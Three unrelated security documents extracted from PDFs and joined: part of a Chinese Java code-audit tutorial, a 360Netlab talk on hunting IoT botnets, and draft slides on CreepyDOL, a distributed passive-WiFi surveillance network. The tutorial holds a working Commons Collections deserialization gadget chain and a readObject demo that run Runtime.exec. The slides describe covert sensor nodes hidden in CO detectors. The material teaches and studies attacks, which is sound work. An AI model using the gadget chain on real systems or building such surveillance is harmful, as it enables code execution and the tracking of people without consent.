Java代码审计之基础开发 56 Object key = it.next(); Object value = hm.get(key); System.out.println("key = "+key+" value is "+value); } } } 泛型的引⽤ 如何解决以下强制类型转换时容易出现的异常问题 List的get(int index)⽅法获取元素 Map的get(Object key)⽅法获取元素 Iterator的next()⽅法获取元素 泛型改写了集合框架中所有的接⼝和类 泛型集合 将对象的类型作为参数,指定到其他类或者⽅法上,从⽽保证类型转换的安全性和稳定性 典型的泛型集合: ArrayList <E> 、 HashMap <K,V> E、K,V表⽰该泛型集合中的元素类型 泛型集合中的数据不再转换为Object 我们以ArrayList举例 Java代码审计之基础开发 57 package ; import .ArrayList; public class fanxingTest { public static void main(String[] args) { ArrayList<Dog> al = new ArrayList(); //创建狗的对象 Dog d1 = new Dog("pp","泰迪"); Dog d2 = new Dog("xx","阿拉斯加"); Dog d3 = new Dog("kk","哈⼠奇"); //插⼊ArrayList al.add(d1); al.add(d2); al.add(d3); //循环输出 for (Dog dd:al){ System.out.println(dd.getsName()+"的种类是:"+dd.getsType()); } } } class Dog{ String sName; String sType; public Dog(String sName, String sType) { this.sName = sName; this.sType = sType; } public String getsName() { return sName; } public void setsName(String sName) { this.sName = sName; } com.jihe.core java.util Java代码审计之基础开发 58 public String getsType() { return sType; } public void setsType(String sType) { this.sType = sType; } } 序列化与反序列化 序列化 反序列化 序列化与反序列化 序列化:把对象转换为字节序列的过程称为对象的序列化 反序列化:把字节序列恢复为对象的过程称为对象的反序列化 序列化 使⽤集合保存对象,可以将集合中的所有对象序列化。 Java代码审计之基础开发 59 package ; import .FileOutputStream; import .IOException; import .ObjectOutputStream; public class demo1 { public static void main(String[] args) { ObjectOutputStream oss = null; try { oss = new ObjectOutputStream(new FileOutputStream("./user.data")); //写⼊⽂件 String str = new String("姓名:张三"); oss.writeObject(str); } catch (IOException e) { e.printStackTrace(); }finally { if (oss!=null){ try { oss.close(); } catch (IOException e) { e.printStackTrace(); } } com.seria.core java.io java.io java.io Java代码审计之基础开发 60 } } } 为什么在这⾥没有实现 Serializable 呢?因为在String⾥实现了这个接⼝ 这⾥我们换⼀个例⼦,我们使⽤⼀个对象,我们去写⼀个学⽣类 package ; public class Student { private int nId; private String sUsername; private int nAge; private String sAddress; public Student(int nId, String sUsername, int nAge, String sAddress) { this.nId = nId; this.sUsername = sUsername; this.nAge = nAge; this.sAddress = sAddress; } public Student() { } public int getnId() { return nId; } public void setnId(int nId) { this.nId = nId; } public String getsUsername() { return sUsername; } public void setsUsername(String sUsername) { this.sUsername = sUsername; } public int getnAge() { return nAge; } public void setnAge(int nAge) { this.nAge = nAge; } public String getsAddress() { return sAddress; } public void setsAddress(String sAddress) { this.sAddress = sAddress; com.seria.core Java代码审计之基础开发 61 } } 然后我们去创建⼀个学⽣对象去做序列化。 Student stu = new Student(1,"张三",18,"中国"); 我们去写⼊。 提⽰Student类中没有Serializable接⼝所以报错了 我们需要去Student类中去实现这个接⼝ public class Student implements Serializable 然后再去运⾏就不会出错了 我们就⽣成了这个⽂件 Java代码审计之基础开发 62 我们上⾯学习了集合,我们如果使⽤集合的⽅式会怎么样呢? 我们来看⼀下user2这个⽂件 Java代码审计之基础开发 63 反序列化 如果向⽂件中使⽤序列化机制写⼊多个对象,那么反序列化恢复对象时,必须按照写⼊顺序读取。 Java代码审计之基础开发 64 Java代码审计之基础开发 65 package ; import .FileInputStream; import .IOException; import .ObjectInputStream; import .List; public class demo2 { public static void main(String[] args) { //创建⼀个输⼊流 ObjectInputStream ois = null; try { ois = new ObjectInputStream(new FileInputStream("user2.data")); //开始读 try { List<Student> stu = (List<Student>)ois.readObject(); if (stu!=null && stu.size()>0){ for (Student s:stu){ System.out.println("姓名:"+s.getsUsername()+" 年龄:"+s.getnAge()+" 地址:"+s.getsAddress()); } } } catch (ClassNotFoundException e) { e.printStackTrace(); } } catch (IOException e) { e.printStackTrace(); }finally { if (ois!=null){ try { ois.close(); } catch (IOException e) { e.printStackTrace(); } } } } } 反序列化漏洞之弹个计算器 反序列化漏洞 常⻅触发点 com.seria.core java.io java.io java.io java.util Java代码审计之基础开发 66 常⻅第三⽅库 反序列化漏洞 如果Java应⽤对⽤⼾对输⼊(序列化过的恶意数据),即不可信数据(如序列化过的命令执⾏代码)做了反序列化处理,产⽣的⾮预 期对象的过程中可能带来任意代码执⾏。 我们来写个demo测试,⾸先我们去创建⼀个类 package ; import .FileOutputStream; import .IOException; import .ObjectOutputStream; import .Serializable; public class Ser implements Serializable { private static final long seriaVersionUID = 11; public int nNum = 111; //重写readObject⽅法 private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException { in.defaultReadObject();//调⽤默认的⽅法 //输⼊恶意代码 Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); System.out.println("test"); } public static void main(String[] args) { ObjectOutputStream oss = null; try { oss = new ObjectOutputStream(new FileOutputStream("./test.data")); Ser se = new Ser(); oss.writeObject(se);//序列化的关键函数 } catch (IOException e) { e.printStackTrace(); }finally { try { oss.close(); } catch (IOException e) { e.printStackTrace(); } } } } 在类中,我们序列化了⼀段恶意代码进去,这时候我们来做反序列化看⼀下 package ; import .FileInputStream; import .IOException; import .ObjectInputStream; public class UnSer { public static void main(String[] args) { ObjectInputStream ois = null; try { ois = new ObjectInputStream(new FileInputStream("./test.data")); try { Ser s = (Ser)ois.readObject(); System.out.println(s.nNum); } catch (ClassNotFoundException e) { e.printStackTrace(); } } catch (IOException e) { e.printStackTrace(); }finally { try { if (ois!=null){ ois.close(); } com.vuln.core java.io java.io java.io java.io com.vuln.core java.io java.io java.io Java代码审计之基础开发 67 } catch (IOException e) { e.printStackTrace(); } } } } 反序列化后,计算机成功弹出 常⻅触发点 ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load Java代码审计之基础开发 68 Xstream.fromXml ObjectMapper.readValue JSON.praseObject ...... 常⻅的第三⽅库 commons-fileupload 1.3.1 commons-io 2.4 commons-collections 3.1 commons-logging 1.2 commons-beanutils 1.9.2 org.slf4j:slf4j-api 1.7.21 com.mchange:mchange-commons-java 0.2.11 org.apache.commons:commons-collections 4.0 com.mchange:c3p0 0.9.5.2 org.beanshell:bsh 2.0b5 org.codehaus.groovy:groovy 2.3.9 ...... Apache-Commons-Collections反序列化漏洞分析及POC构造 漏洞分析 POC构造 Apache-Commons-Collections Apache-Commons-Collections是⼀个拓展了Java标准库⾥的Collection结构的第三⽅基础库,它提供了很多强有⼒的数据结构类 型并且实现了各种集合⼯具类。 漏洞分析 在/org/apache/commons/collections/map/TransformedMap.class中可以看到 decorate() ⽅法,它是将⼀个Map对象,转换成 TransformedMap 对象 我们创建⼀个新项⽬,然后创建⼀个 lib ⽂件夹⽤来存储库。把我们的这个库放⼊这个⽂件夹。这时候我们是看不到代码的 Java代码审计之基础开发 69 然后我们就可以看到代码了。 Java代码审计之基础开发 70 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } 这⾥我们可以看到是将Map对象转换成TransformedMap对象,这⾥传⼊了三个参数都带⼊了TransformedMap,并且返回了实例化 结果,我们跟进看⼀下 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } 这⾥是将map⾥⾯的key,value转换成了Transformer的key和value 在下⾯还存在⼀个Transformer的接⼝,这个接⼝可以实现数据变换的操作,当map中的任意⼀个key或value被修改的时候,他就会 被调⽤ 这⾥可以看到,实现了Transformer和Serializable接⼝ Java代码审计之基础开发 71 在下⾯可以看到 transform ⽅法 public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass();//这⾥获取了传⼊的input的⼀个类名 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);//通过反射的机制通过getMethod获取⼀个⽅法的对象 return method.invoke(input, this.iArgs);//使⽤invoke进⾏反射 } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' } } } 这⾥只需要我们传⼊⽅法名、参数类型、参数就可以通过Java反射的机制去调⽤任意函数 构造POC 我们要构造⼀个实例,修改其中的数据,让它依次调⽤ Runtime → getRuntime() → exec() ,执⾏Runtime.getRuntime().exec(),就可以序列化 package ; import .Transformer; import .ConstantTransformer; import .InvokerTransformer; public class poc { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ //⾸先需要通过ConstantTransformer获取Runtime类 com.vuln.core org.apache.commons.collections org.apache.commons.collections.functors org.apache.commons.collections.functors Java代码审计之基础开发 72 new ConstantTransformer(Runtime.class), //接着来调⽤getMethod来定位查找getRuntime new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0 //通过反射来调⽤getRuntime中的exec new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"} }; } } 这时候我们的恶意代码链就写好了,接下来需要将多个Transformer串联起来,形成ChainedTransformer,让他依次执⾏便可序 列化 Transformer transformedChain = new ChainedTransformer(transformers); 接下来我们随意定义⼀个类,通过 decorated ⽅法将Map对象转换为 TransformedMap package ; import .Transformer; import .ChainedTransformer; import .ConstantTransformer; import .InvokerTransformer; import .TransformedMap; import .HashMap; import .Map; public class poc { public static void main(String[] args) { //让它依次调⽤Runtime --》getRuntime() --》exec() Transformer[] transformers = new Transformer[]{ //⾸先需要ConstantTransformer获取Runtime类 new ConstantTransformer(Runtime.class), //接着调⽤getMethod来定位查找getRuntime new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0 //反射调⽤getRuntime中的exec() invoke new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Conten }; //将多个Transformer串联起来,形成ChainedTransformer Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("key","value"); //通过decorated将map转换为TransformedMap 第三个参数就是我们上⾯构造好的恶意代码链 Map outerMap = TransformedMap.decorate(innerMap,null,transformedChain); //这时候如果后⾯的操作修改了转出来Map对象的outerMap值,就会ChainedTransformer内⼀系列InvokerTransformer,造成代码执⾏ Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("test"); } } 这时候poc就写好了,运⾏之后弹出计算器 com.vuln.core org.apache.commons.collections org.apache.commons.collections.functors org.apache.commons.collections.functors org.apache.commons.collections.functors org.apache.commons.collections.map java.util java.util
pdf
如何去挖掘物联网环境中的高级恶意软件威胁 叶根深 360网络安全研究院研究员 $ whoami Email:[email protected] Twitter/WeChat:@zom3y3 Network Security Researcher @360Netlab TO BE A MALWARE HUNTER! #Botnet #Pentest #Honeypot #Sandbox PART 01 背景介绍 目录 CONTENTS PART 02 IoT安全现状 PART 03 挖掘未知的IoT Exploit PART 04 挖掘未知的IoT Botnet 01 03 04 02 PART 05 总结 05 PART 01 背景介绍 What is an advanced malware threat ? 0-day Exploit or Cyberweapon 概览 通过Anglerfish蜜罐,我捕获到大量网络扫描Payload和IoT Botnet,并和同事一起公开披露了部分报告,其中包括:Mirai, http81,DDG,Hajime,TheMoon,IoT_reaper,Satori,Muhstik,HNS,Fbot,MikroTik,GhostDNS,Ngioweb, Godlua,Gwmndy等。 我还挖掘到一些有意思的样本,部分贴在了推特上#unknown_botnet,还有一个是针对IoT平台的特马但没有公开披露。 此外,我还捕获到3个0day,其中包括被Satori Botnet利用的CVE-2017-17215漏洞,被TheMoon Botnet利用的Gpon Home Routers RCE漏洞,被Fbot利用的雄迈DVRIP协议漏洞。 我是如何研究IoT安全的? • 开发Anglerfish蜜罐,模拟IoT设备指纹/漏洞,捕获网络扫描Payload和样本 • 筛选x86 ,ARM,MIPS等CPU架构样本,分析未被杀软件识别的恶意软件 • 开发特定漏洞扫描程序,统计全网受影响设备数量等 • 从设备官网下载相应固件,统计受影响的设备型号等 Network Scan Payload Analysis 40% IoT Firmware Reversing 10% IoT Vulnerability Scan 10% ELF Malware Analysis 40% PART 02 IoT安全现状 IoT 安全现状 IoT 安全防御能力不足 IoT Botnet 攻击能力不断升级 IoT 设备已经成为APT攻击目标 01 02 03 Vulnerability:漏洞补丁能不能打上 Exploits:恶意流量能不能拦截 Malware:恶意程序能不能阻止运行 IoT 安全防御能力不足 IoT Botnet感染能力不断升级 Mirai内置大量弱口令, 通过暴力破解Telnet服 务传播。 Mirai变种集成Zyxel tr069协议漏洞传播,但 因为Exploit不稳定导致 路由器重启,从而引发 德国电信大断网事件。 Reaper集成9个IoT漏 洞,其中Varcon NVR 个 RCE漏洞在公开后2 天就被集成。 Satori利用Huawei Router HG532 0-day 漏洞传播,12月5号当天 统计到感染IP数量在57 万。全球ISP联合行动, 封锁TCP/37215端口。 2016年8月1日 2016年11月28日 2017年9月13日 2017年12月5日 1 2 3 4 2018年9月4日 5 2019年2月16日 6 MikroTik设备受泄露的 CIA ChimayRed黑客工 具影响,路由器被攻击 者监听网络流量,充当 代理节点,植入js挖矿 代码。 Fbot使用XiongMai 硬编码账号密码和 DVRIP升级接口0- day漏洞传播。 IoT Botnet感染能力不断升级 暴力破解 漏洞集成 漏洞挖掘 • 暴力破解Telnet服务 • Mirai,Gafgyt • 集成大量已公开漏洞 • IoT_Reaper,Mirai • 0-day 漏洞利用 • Satori,TheMoon,Fbot IoT Botnet C2技术不断升级 冗余机制 通信协议 复杂化 • 硬编码多个C2地址 • 使用DGA技术 • Mirai,Godlua • 使用P2P协议通信 • 使用DOH解析DNS请求 • Hajime,Godlua,HNS • C2功能插件化 • 构造多级C2协议 • VPNFilter,Ngioweb IoT 设备已经成为APT攻击目标 情报监控 窃听风云: 你的MikroTik路由器正在被监听 IP Count 37.1.207.114 5164 185.69.155.23 1347 188.127.251.61 1155 MikroTik设备受泄露的 CIA ChimayRed黑客工具影响,路由器被攻击者监听网络流量,充当代理节点,植入js挖矿代码。 MikroTik RouterOS设备允许用户在路由器上抓包,并把捕获的网络流量转发到指定Stream服务器。 目前共检测到 7.5k MikroTik RouterOS设备IP已经被攻击者非法监听,并转发TZSP流量到指定的IP地址,通信端口UDP/37008。 其中一个攻击者(37.1.207.114)监听了大量MikroTik RouterOS设备,主要监听TCP协议20,21,25,110,143端口,分别对应FTP-data,FTP, SMTP,POP3,IMAP协议流量。这些应用协议都是通过明文传输数据的,攻击者可以完全掌握连接到该设备下的所有受害者的相关网络流量,包括FTP 文件,FTP账号密码,电子邮件内容,电子邮件账号密码等。 通过对受害者IP归属地统计,我们看到俄罗斯受影响最严重。 更多内容:https://blog.netlab.360.com/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours/ VPNFilter 更多内容:https://blog.talosintelligence.com/2018/05/VPNFilter.html The VPNFilter malware is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. As of this writing, we are aware of two plugin modules: a packet sniffer for collecting traffic that passes through the device, including theft of website credentials and monitoring of Modbus SCADA protocols, and a communications module that allows stage 2 to communicate over Tor. PART 03 如何去挖掘未知的IoT Exploit Anglerfish - Most Probed Port Telnet和HTTP协议在Anglerfish蜜罐中被扫描次数最多。 简单的IoT漏洞利用也最受攻击者欢迎。 Anglerfish - Exploits Statics Anglerfish蜜罐已捕获100多种被Botnet利用的RCE Exploit, 每天能监测到数十种针对IoT设备的RCE漏洞利用。 绝大部分IoT漏洞利用代码都是公开的,开箱即用。 Anglerfish - ELF Malware Family Statics 当前IoT Botnet主流是Mirai和Gafgyt家族, 每天都能捕获1000多个Mirai样本MD5。 • 响应任意端口的TCP SYN Packet • 根据协议特征,永远返回正确响应(http,mysql,mssql,redis,memcache等) • 返回预定义或者随机的Payload特征库集合 Fuzz testing 更多内容:《通过Anglerfish蜜罐发现未知的恶意软件威胁》 Botnet扫描检测算法 First seen Last seen Protocol Port Coefficient Payload Count (one of ) Payload MD5 2017-02-09 23:52 2018-10-07 02:02 UDP 53413 91.64 7 2c3d957fcc56caf402b84894e4f986de 2018-07-09 06:11 2019-08-19 10:56 TCP 5555 99.09 11 7b0ae0038cc4a8ba3cee0d459d9943f8 2018-08-09 20:13 2019-08-20 10:46 TCP 52869 98.81 17 abde9f41a92f8132c9ba582c866d7cb7 2018-08-11 13:25 2019-08-13 20:35 TCP 37215 98.86 30 03e39fb27eb26a6526964222c122c16d 2018-08-11 13:25 2019-08-03 07:37 TCP 8291 97.36 2 f047b5467b1dfeaf08c1924b9bf54a99 2018-08-19 03:09 2019-04-26 02:50 TCP 7547 94.83 5 6eecae4387d119ea3f5a0174f11872cc 2018-08-22 12:19 2018-11-29 12:45 TCP 9000 99.80 2 d2f3ae69fc94c21089fa215e674a73be 2018-11-12 20:06 2019-02-26 00:25 TCP 49152 99.64 1 e49e2b772796feae1d42d805e48bc454 2019-01-01 05:36 2019-08-19 11:02 TCP 60001 97.89 11 eb3111d9525e38decf1e97cb1d2d5071 2019-06-24 06:58 2019-07-31 05:44 TCP 34567 96.38 2 a5f8eb80f9c8421707a407c8d0ebed98 IoT端口被蠕虫式扫描 Exploits IoT Product Port Reference Mallware Family TR069- WAN Side Remote Command Injection Zyxel Router TCP/7547 TCP/5555 https://www.exploit-db.com/exploits/40740 Mirai DGA ASUS Router infosvr UDP Broadcast root Command Execution ASUS Router UDP/9999 https://github.com/jduck/asus-cmd TheMoon Mirai MCTP SetPppoeAttr RCE EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 - Remote Code Execution Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc EnGenius EnShare Router TCP/9000 http://console-cowboys.blogspot.com/2013/01/swann-song-dvr- insecurity.html https://www.exploit-db.com/exploits/42114 Hajime Mirai Netcore/Netis Routers - UDP Backdoor Access Netcore/Netis Routers UDP/53413 https://www.exploit-db.com/exploits/43387 Gafgyt Mirai D-Link Devices - UPnP SOAP Command Execution D-Link Router UPnP SOAP interface TCP/49152 https://www.exploit-db.com/exploits/27044 Mirai Realtek SDK - Miniigd UPnP SOAP Command Execution Realtek SDK UPnP SOAP interface TCP/52869 https://www.exploit-db.com/exploits/37169 Mirai MiCasa VeraLite Remote Code Execution MiCasa VeraLite Controller TCP/49451 https://www.exploit-db.com/exploits/1188 Mirai Huawei Router HG532 - Arbitrary Command Execution Huawei Router HG532 TCP/37215 https://www.exploit-db.com/exploits/43414 Satori Dahua DVR 2.608.0000.0/2.608.GV00.0 - Authentication Bypass Dahua Camera TCP/37777 https://www.exploit-db.com/exploits/29673 Mirai QNAP Transcode Server - Command Execution (CVE-2017-13067) QNAP NAS TCP/9251 https://www.exploit-db.com/exploits/42587 CoinMiner XiongMai DVRIP Remote Code Execution XiongMai DVR TCP/34567 https://twitter.com/zom3y3/status/1100667242159558656 Fbot JAWS DVR Remote Code Execution Mvpower 8 Channel Security DVR TCP/60001 https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/ Mirai Google Android ADB Debug Server - Remote Payload Execution Google Android ADB Debug Server TCP/5555 https://www.exploit-db.com/exploits/39328 Fbot MikroTik RouterOS Winbox & Webfig MikroTik RouterOS Winbox & Webfig TCP/8291 TCP/80 https://wikileaks.org/ciav7p1/cms/page_16384604.html ChimayRed 15个IoT特殊端口被恶意软件利用 如何发现Fbot Botnet使用DVRIP 0day漏洞传播 1. 最开始只看到HTTP端口扫描上升 2. 通过Anglergish蜜罐不断地Fuzz testing, 即使没有完整交互,也能获得Fbot样本 3. 中间人转发Fbot扫描流量到真实设备,获 取到DVRIP 协议关键Exploit 0-day Exploit InstallDesc File Created: December 8, 2018 at 05:39 (UTC+8) 更多内容:https://blog.netlab.360.com/the-new-developments-of-the-fbot/ Sofia OPSystemUpgrade 0-day漏洞分析 更多内容:https://twitter.com/zom3y3/status/1100667242159558656 PART 04 如何去挖掘未知的IoT Botnet样本 样本来源:Anglerfish Honeypot,VirosTotal,360Netlab其它样本源 样本类型:ELF Executable(x86,x86-64,arm,mips) Unknown Botnet:VT 0/1识别,Bot 样本,有C2 技术组件:特征库,聚类,沙箱,代码相似性,人肉分析(IDA) 概览 推文:#unknown_botnet Blog报告:Linux.Ngioweb,Godlua 特殊发现:某IoT特马,未公开 更多内容:https://twitter.com/search?q=#unknown_botnet VirusTotal Intelligence: Search positives:0 tag:"elf" not tag:"contains-elf" not tag:"shared-lib" not tag:"coredump" not tag:"relocatable" size:10MB- 使用VT Intelligence Search API获取ELF样本列表,然后使用360内部样本下载接口下载样本 更多内容:https://support.virustotal.com/hc/en-us/articles/360001387057 筛选未知ELF样本流程 自动化流程: 样本源 ESET NOD32 CPU架构 ELF Type Vaild ELF Yara SSDC聚类 可疑样本 人肉流程: 可疑样本 函数相似 性 Detux Sandbox 人肉分析 未知威胁 样本过滤器 Total File Code Section Symbol Section String Section Disassembly Function Code 数据源:样本静态信息 聚类,过滤同类样本 ( SSDC) 特征库,过滤已识别样本 (ESET NOD32) 开源小工具:https://github.com/zom3y3/ssdc Detux Sandbox Modified Operating System:SandboxOS Network: iptables, mitmproxy,fakedns Malawre Analysis: ESET NOD32, Yara,VirusTotal Packet Analysis:DNS,HTTP Strace Analysis:Stracer 开源小工具:https://github.com/zom3y3/stracer 函数相似性 IDA FLIRT fn_fuzzy Karta idenLib Diaphora BinDiff Intezer Analyze https://github.com/TakahiroHaruyama/ida_haru/tree/master/fn_fuzzy PART 05 总结 IoT 安全防御能力不足 IoT Botnet 攻击能力不断升级 IoT 设备已经成为APT攻击目标 欢迎关注Twitter/WeChat:@zom3y3 获取前沿安全资讯,Botnet内幕 谢谢!
pdf
Stalking a City for Fun and Frivolity “Pull pin, point toward privacy insurance claimant” DRAFT SLIDES Please go to http://www.maliceafterthought.com for updated slides Brendan O’Connor Malice Afterthought, Inc. Hi! I’m Brendan • CTO/DSS, Malice Afterthought • Law Student: IANAL(Y) • Anything you hear in this presentation isn’t legal advice • Most of it isn’t even a good idea • You’ve been warned Quick Tangent: Weev • U.S. v. Auernheimer • “Brief of Meredith Patterson, Brendan O'Connor, Sergey Bratus, Gabriella Coleman, Peyton Engel, Matthew Green, Dan Hirsch, Dan Kaminsky, Samuel Liles, Shane MacDougall, Brian Martin, C.\ Thomas, and Peiter Zatko as Amici Curiae Supporting Appellant” -- I got to write this! • Still, though: IANAL. Yet. (One more year!) DARPA Cyber Fast Track • CREEPYDOL IS NOT CFT WORK. I CANNOT EMPHASIZE THIS ENOUGH: DARPA CFT WAS NOT IN THE BUSINESS OF HAVING ME CREATE CREEPY THINGS. • That said, two CFT contracts did let me build two of the core systems: Reticle, and the visualization system. • Thanks! Foreword: Democratizing Surveillance http://www.flickr.com/photos/68979377@N00/3745750194 I. Foreword: The Democratization of Surveillance A. "Security is really the government's area." 1. This was actually said to me by my sister recently, indicating that I'm failing in my duty to educate my family. 2. Those of us in this room know that the government isn't very good at securing things by means *other* than throwing them in prison for large amounts of time. 3. Nonetheless, the government has a near-monopoly on surveillance. “Only the Good Guys” http://www.flickr.com/photos/chberge/3753079527 4. When it doesn't, the perception of the general public is that "only good guys" have access to terrifying surveillance technology. This is *our fault* for not correcting this misperception, though groups reporting on, e.g., all the BlueCoat boxes they've found in repressive governments are certainly helping. Heck, PRISM was leaked, and this is *still* the thing I’m hearing: people think “hey, the NSA needs that.” “Sunlight is the best disinfectant” http://www.flickr.com/photos/andyz/3857625392 B. "Sunlight is the best disinfectant." 1. A recent study showed that cops wearing sunglass cameras were 88% less likely to commit actions resulting in complaints, and 60% less likely to use force; when they did use force, those officers wearing lapel cameras were consistent in using the least amount of force possible in a situation. This effect was not duplicated in officers refusing to wear the cameras. 2. If we can see what's going on---if we can look back at our government---we have the opportunity to make sure it works as efficiently and safely as possible. If not, we are subject to blackmail, extortion, and threats. (See Aaron Swartz.) So we need sunlight---but we need it quickly, and where our natural inclination, our natural sunlight, is not. Those of you who are weapons buffs may know that this isn’t a photo of the sun: it’s a picture of the blast caused by Tsar Bomba, the largest nuclear weapon ever detonated. So I get called a stalker http://www.flickr.com/photos/simplyjessi/6333279524/ Wait, wrong stalker. This is an adorable cat, apparently named Stalker. People don’t call me an adorable cat. So I get called a stalker http://www.flickr.com/photos/dcagne/424124810 Much better. As I was saying, C. Why I do "creepy" work. 1. The only effective way to raise the issue of creeping surveillance and loss of privacy is to make clear that *anyone*, not just "the good guys," can use this technology for good or for evil. 2. The only way to make it clear is, of course, to release software that does it in a nice, user-friendly package. Extremely Serious Disclaimer To be clear: I do not endorse using this software, or any software, for criminal purposes. We're hackers, not criminals. I want the fact of this software's existence to help shape habits and, hopefully, the next generations of mobile devices; perhaps they won't be designed (at the protocol level) to leak so much information so widely. Goal: Passive Wireless http://www.flickr.com/photos/library_of_congress/2163911718 II. Goals A. How much data can be extracted from passive wireless monitoring? 1. More than just from a network trace---remember that when not connected to a wireless network, WiFi devices send out lists of their known networks, asking if anyone can help them. 2. As soon as a device thinks it's connected to WiFi, all its background sync services will kick off again---DropBox, iMessage, all the rest. So we'll immediately know that certain services will be in play. 3. Over unencrypted WiFi, all the traffic sent by a device is exposed. Even if we can't see both sides of every message, we can learn a lot from what we do see---especially if we know how a given protocol operates. 4. How much better could we do if we had not one sensor, but ten? Spread out over an area? Now we have geolocation, time and place analysis, etc. 5. If we're tracking over a large area, we don't just want to know traffic and devices: we want to know people. Can we take data and find people? (I don't want your SSN, I want your name.) Goal: Large-Scale Sensing Without Centralized Communications http://www.flickr.com/photos/christmaswithak/2732857205 B. Can we do large-scale sensing without centralized communications? 1. If we centralize communications, life is simple; everyone phones home---but a compromised node gives every attacker the location of the mothership. 2. Centralized communications decrease resistance to attack, and prevent you from responding agilely to attack. Goal: Intelligibility http://www.slideshare.net/EmilandDC/dear-nsa-let-me-take-care-ou C. Can we present massive amounts of this data in a way that is intelligible by mortals? User-friendly? Still secure? 1. Group One of high security products: incredible technology, terrible UI. This causes low adoption, or (possibly worse) mistakes in use. Systems fail, people die. Examples: Pidgin-OTR, or PGP/OpenPGP. 2. Group Two: Concerns about technology, great UI. This causes adoption, but can cause massive problems later (if the concerns are borne out). Examples: HushMail, Silent Circle. 3. Group Three: Good technology, great UI. This is wonderful, but incredibly hard to do (because UI masters are usually not security wizards). Example: CryptoCat, RedPhone. 4. We would aspire to have CreepyDOL be in Group Three, through a variety of methods to ensure secure communication in relatively-intelligible ways. *This is an ongoing process.* Our code is open source, to allow verification. Background: Academic Sensor Networks Rock! http://www.flickr.com/photos/22240293@N05/3912598338 (This is the MIT CS building, if you’re wondering. They have an awesome sensor network, and their papers are always accompanied by the *weirdest* floor plans.) III. Background A. Sensor Networks 1. Academic researchers have spent tons of time and resources on these. MANETs, other advances in technology have resulted. 2. A lot of these have uW power levels, and sacrifice languages, OS, and cost to get there---especially cost, with many nodes costing $500 or more. Each. 3. I can't afford this. I want something I can afford to break, to lose, and even to have stolen. I want it an order of magnitude cheaper, and I want it to run Linux. (Ubuntu or Debian, if possible.) Background: Large- Scale Surveillance • Believe it or not, we knew this was happening before PRISM • In my original outline: “One can assume that they have solved all of the problems involved in CreepyDOL before me, and that they should, rightfully, be cited as prior art. I'd love to do so; as soon as they publish their work, I'll be happy to cite them.” • Heh heh heh. • Pour one out for the Intelligence Community: a lot of this stuff is a pain to figure out Hardware! So now let’s talk about system architecture. First: Hardware. F-BOMB v.1 (ShmooCon 2012) IV. System Architecture A. Hardware: F-BOMB, version 2 (Falling/Ballistically-launched Object that Makes Backdoors) 1. Originally presented at ShmooCon 2012, but major advances since then; components now all off-the-shelf, significantly reduced volume, weight, power draw. It fits in a CO Detector No one ever checks their CO detector to see if it has become a node in a sensor network. The new one fits much better into this case; much less cutting is necessary. F-BOMB v.2 2. Now based on the Raspberry Pi Model A, because it's awesome, runs an easier version of Linux (Debian vs. Arch), and I can actually get it for cheaper than the salvage PogoPlugs. http://www.flickr.com/photos/gijsbertpeijs/7988257583 http://www.polycase.com/lp-51p http://www.targus.com/us/productdetail.aspx?sku=ACH63US http://www.amazon.com/JacobsParts-150Mbps-Wireless-Notebook-TP-WF11/dp/ B0067NFSE2 http://www.newegg.com/Product/Product.aspx?Item=N82E16820147152 http://www.ebay.com/itm/10x-USB-USA-AC-Wall-Charger-for-Apple- iPhone-3-3G-4G-4S-5-5G-iPod-New-White-/271163372744 Raspberry Pi, Model A: $25 Case: $4.61 USB Hub: $5.99 WiFi: 2x $6.52 SD Card: $6.99 USB Power: $1.45 Total: 57.08 per node 3. Per-Node Cost: $57.08 in 10-node quantities, excluding case. a. I bought cheap wall-wart cases and used a drill saw; you can 3D print them, or even buy disposable GladWare and use that. C&C Software • “Reticle: Leaderless Command and Control” • This was the first of the two DARPA CFT contracts I mentioned • Whole presentation at B-Sides Vegas 2012---but I will summarize Reticle B. C&C Software: Reticle, Leaderless C&C 1. Developed under DARPA Cyber Fast Track, Spring 2012 2. Original work presented at BSidesLV 2012, but massive improvements, and a complete rewrite, since then. 3. Tor, CouchDB, Client-Side TLS; these combine for both encrypted communications and, critically, obfuscated communications gateways (via Tor Hidden Service---there's no indication of where the command node is). (Details on Reticle architecture.) 4. "Contagion Network"---all nodes know all things, commands can be inserted by any node. PKI, commands must be signed. 5. Disk encryption using grenade methodology to prevent tampering; "Pull Pin, Throw at Enemy" for disk encryption UX. 6. CreepyDOL, on the node side, is just a mission Reticle runs; it can be retasked at any time. PortalSmash It clicks on buttons, so you don’t have to https://github.com/ussjoin/portalsmash This is how we get connectivity in every place: use local wifi. 